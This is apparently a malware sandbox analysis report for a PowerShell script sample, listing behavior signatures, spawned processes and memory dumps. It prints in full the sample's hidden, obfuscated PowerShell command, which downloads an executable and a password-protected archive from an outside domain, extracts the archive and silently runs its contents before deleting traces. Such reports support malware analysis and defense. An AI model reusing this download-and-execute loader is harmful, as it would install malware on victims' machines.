Analysis
- max time kernel
149s - max time network
93s - platform
windows11-21h2_x64 - resource
win11-20260130-en - resource tags
- submitted
06/05/2026, 04:30
General
- Target 06052026_0425_RoundtableTransformationChurch.ps1
- Size 4KB
- Sample260506-e4yl7aat9t
- SHA256 0dbb00c3a83844c00a172151c79e5311cea019b5a1e9452a5d7e72a3453713db
Malware Config
Signatures
- Badlisted process makes network request 4 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs
Using powershell.exe command.
- Downloads MZ/PE file 1 IoCs
- Suspicious behavior: EnumeratesProcesses 4 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of WriteProcessMemory 1 IoCs
Processes
-
C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exepowershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\06052026_0425_RoundtableTransformationChurch.ps11⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command [System.Net.ServicePointManager]::SecurityProtocol=[System.Net.SecurityProtocolType]::Tls12;$g7='zip';$h8='RvckZ';$i9=Join-Path $env:TEMP ([System.IO.Path]::GetRandomFileName());New-Item -ItemType Directory -Path $i9 -Force|Out-Null;$j10=Join-Path $i9 ([System.IO.Path]::GetRandomFileName()+'.exe');$k11=Join-Path $i9 ([System.IO.Path]::GetRandomFileName()+'.'+$g7);$l12=0;for($m13=0;$m13 -lt 3 -and -not $l12;$m13++){try{if(-not (Test-Path $j10)){Invoke-WebRequest -Uri 'https://framesavecloudjs.beer/api/7z.exe' -OutFile $j10 -UseBasicParsing}Invoke-WebRequest -Uri 'https://framesavecloudjs.beer/api/index.php?a=dl&token=5d345b9d6bf25b44ad62ba122664b8f837a7f3159aa0387b7894ae6858722de7&src=recaptcha&cb=edge&ref=file%3A%2F%2F%2FC%3A%2FUsers%2Fmilkream%2FAppData%2FLocal%2FTemp%2Fcerbero_scan%2F1ba05c72c4e3f8f380244c25411847afd05f7d4d3c1dab18f2db21c0629bc425.html&mode=recaptcha' -OutFile $k11 -UseBasicParsing;if(Test-Path $k11){$l12=1}else{Start-Sleep -Seconds 2}}catch{Start-Sleep -Seconds 2}};if(-not (Test-Path $k11)){exit};$n14=Join-Path $i9 ([System.IO.Path]::GetRandomFileName());New-Item -ItemType Directory -Path $n14 -Force|Out-Null;$o15=@('x','-y');if($h8 -ne ''){$o15+=('-p'+$h8)}$o15+=('-o'+$n14);$o15+=$k11;if(Test-Path $j10){& $j10 @o15|Out-Null}else{Start-Process -FilePath $k11 -WindowStyle Hidden};$p16=Get-ChildItem -Path $n14 -Filter *.exe -Recurse -File|Select-Object -First 1;$q17=Get-ChildItem -Path $n14 -Filter *.msi -Recurse -File|Select-Object -First 1;$r18=$null;$s19=$null;if($p16){$r18=$p16.FullName;$s19=$p16.Directory.FullName}elseif($q17){$r18=$q17.FullName;$s19=$q17.Directory.FullName}else{$r18=$k11};if($r18){if($s19){Start-Process -FilePath $r18 -WorkingDirectory $s19 -WindowStyle Hidden}else{Start-Process -FilePath $r18 -WindowStyle Hidden}};try{Remove-Item -LiteralPath $k11 -Force -ErrorAction SilentlyContinue}catch{};try{if(Test-Path $j10){Remove-Item -LiteralPath $j10 -Force -ErrorAction SilentlyContinue}}catch{};2⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Downloads MZ/PE file
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
powershell.exe.log
StartupProfileData-NonInteractive
__PSScriptPolicyTest_rmkjakix.zce.ps1
memory/1000-27-0x000001F11DE60000-0x000001F11DE70000-memory.dmp
memory/1000-26-0x000001F11DE60000-0x000001F11DE70000-memory.dmp
memory/1000-41-0x000001F103FD0000-0x000001F103FDC000-memory.dmp
memory/1000-30-0x000001F11DE60000-0x000001F11DE70000-memory.dmp
memory/1000-15-0x000001F11DE60000-0x000001F11DE70000-memory.dmp
memory/1000-29-0x000001F11DE30000-0x000001F11DE42000-memory.dmp
memory/1000-16-0x000001F11DE60000-0x000001F11DE70000-memory.dmp
memory/1000-28-0x000001F103FD0000-0x000001F103FDC000-memory.dmp
memory/1000-24-0x000001F11DE60000-0x000001F11DE70000-memory.dmp
memory/2956-0-0x00000228503E0000-0x00000228503F0000-memory.dmp
memory/2956-9-0x00000228503E0000-0x00000228503F0000-memory.dmp
memory/2956-1-0x00000228503E0000-0x00000228503F0000-memory.dmp
memory/2956-2-0x00000228504F0000-0x0000022850512000-memory.dmp
memory/2956-13-0x0000022837DE0000-0x0000022837DF2000-memory.dmp
memory/2956-12-0x0000022837D70000-0x0000022837D7C000-memory.dmp